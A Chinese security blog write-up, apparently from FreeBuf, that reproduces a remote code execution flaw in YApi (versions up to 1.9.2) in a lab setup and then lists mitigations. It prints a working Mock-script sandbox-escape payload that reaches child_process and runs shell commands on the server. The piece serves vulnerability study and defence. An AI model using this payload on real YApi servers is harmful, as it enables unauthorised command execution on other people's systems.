YApi接口管理平台远程代码执行漏洞复现 – 作者:Yuhzha

28次阅读
没有评论

前言

本文内容是作者在平时漏洞复现时记录的笔记,内容参考了前辈的经验,如有侵权请联系我及时进行删除。

影响范围

YApi<=1.9.2

YApi接口管理平台远程代码执行漏洞复现 - 作者:Yuhzha

漏洞复现

环境搭建

攻击机:Windows10

受害者:Kali Linux (ip:192.168.18.131)

Kali搭建YApi:

git clone https://github.com/fjc0k/docker-YApi.git

cd docker-YApi

docker-compose up -d

复现过程

注册后点击添加项目

YApi接口管理平台远程代码执行漏洞复现 - 作者:Yuhzha

YApi接口管理平台远程代码执行漏洞复现 - 作者:Yuhzha

添加接口

YApi接口管理平台远程代码执行漏洞复现 - 作者:Yuhzha

YApi接口管理平台远程代码执行漏洞复现 - 作者:Yuhzha

点击高级Mock,选择脚本并开启,写入恶意代码并保存。

YApi接口管理平台远程代码执行漏洞复现 - 作者:Yuhzha

YApi接口管理平台远程代码执行漏洞复现 - 作者:Yuhzha

保存后点击浏览,访问Mock地址,漏洞利用成功

YApi接口管理平台远程代码执行漏洞复现 - 作者:Yuhzha

YApi接口管理平台远程代码执行漏洞复现 - 作者:Yuhzha

payload

const sandbox = this
const ObjectConstructor = this.constructor
const FunctionConstructor = ObjectConstructor.constructor
const myfun = FunctionConstructor('return process')
const process = myfun()
mockJson = process.mainModule.require("child_process").execSync("whoami && ps -ef").toString()

防御方案

1、关闭YApi用户注册功能;

在”config.json”添加”closeRegister:true”配置项:

{

"port": "*****",

"closeRegister":true

}

修改完成后,重启YApi服务。

2、暂时关闭mock功能(需要修改YApi代码);

在”config.json”中添加 “mock: false” ;

在”exts/yapi-plugin-andvanced-mock/server.js”中找到`if (caseData && caseData.case_enable) {…}`,在其上方添加`if(!yapi.WEBCONFIG.mock) {return false;}`。

3、白名单限制;

安全组配置白名单访问,或者使用NGINX进行代理,限制白名单IP访问;

4、检查用户列表,删除恶意不明用户;并删除恶意不明用户创建的接口及mock脚本。

参考链接

https://mp.weixin.qq.com/s/je06efYE9PqB58xhOyo2TA

https://mp.weixin.qq.com/s/v5EIpH2VvsvrI1RFZiLOlA

https://github.com/fjc0k/docker-YApi

来源:freebuf.com 2021-07-10 10:50:13 by: Yuhzha

正文完
 0